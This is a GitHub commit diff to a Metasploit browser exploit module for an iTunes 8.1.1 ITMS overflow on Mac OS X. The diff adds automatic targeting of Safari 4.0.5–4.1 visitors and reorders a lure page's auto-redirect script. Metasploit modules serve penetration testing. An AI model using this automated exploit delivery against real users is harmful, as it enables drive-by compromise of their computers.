Skip to content

Commit b5167e7

Browse files
committed
Merge branch 'add_bap_to_itms_overflow' of github.com:jvennix-r7/metasploit-framework into jvennix-r7-add_bap_to_itms_overflow
2 parents 6508964 + 771fc07 commit b5167e7

File tree

1 file changed

+13
-2
lines changed

1 file changed

+13
-2
lines changed

modules/exploits/multi/browser/itms_overflow.rb

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,17 @@ class Metasploit3 < Msf::Exploit::Remote
1313

1414
include Msf::Exploit::Remote::HttpServer::HTML
1515

16+
# no popup required to visit itms:// URLs in Safari, so throw it in BAP
17+
include Msf::Exploit::Remote::BrowserAutopwn
18+
autopwn_info({
19+
:ua_name => HttpClients::SAFARI,
20+
:ua_maxver => "4.1",
21+
:ua_minver => "4.0.5",
22+
:javascript => false,
23+
:rank => NormalRanking,
24+
:os_name => OperatingSystems::MAC_OSX
25+
})
26+
1627
def initialize(info = {})
1728
super(update_info(info,
1829
'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
@@ -93,9 +104,9 @@ def generate_itms_page(p)
93104
return String(<<-EOS)
94105
<html><head><title>iTunes loading . . .</title></head>
95106
<body>
96-
<script>document.location.assign("#{itms_base_url}");</script>
97107
<p>iTunes should open automatically, but if it doesn't, click to
98-
<a href="#{itms_base_url}">continue</a>.</p>a
108+
<a href="#{itms_base_url}">continue</a>.</p>
109+
<script>document.location.assign("#{itms_base_url}");</script>
99110
</body>
100111
</html>
101112
EOS

0 commit comments

Comments
 (0)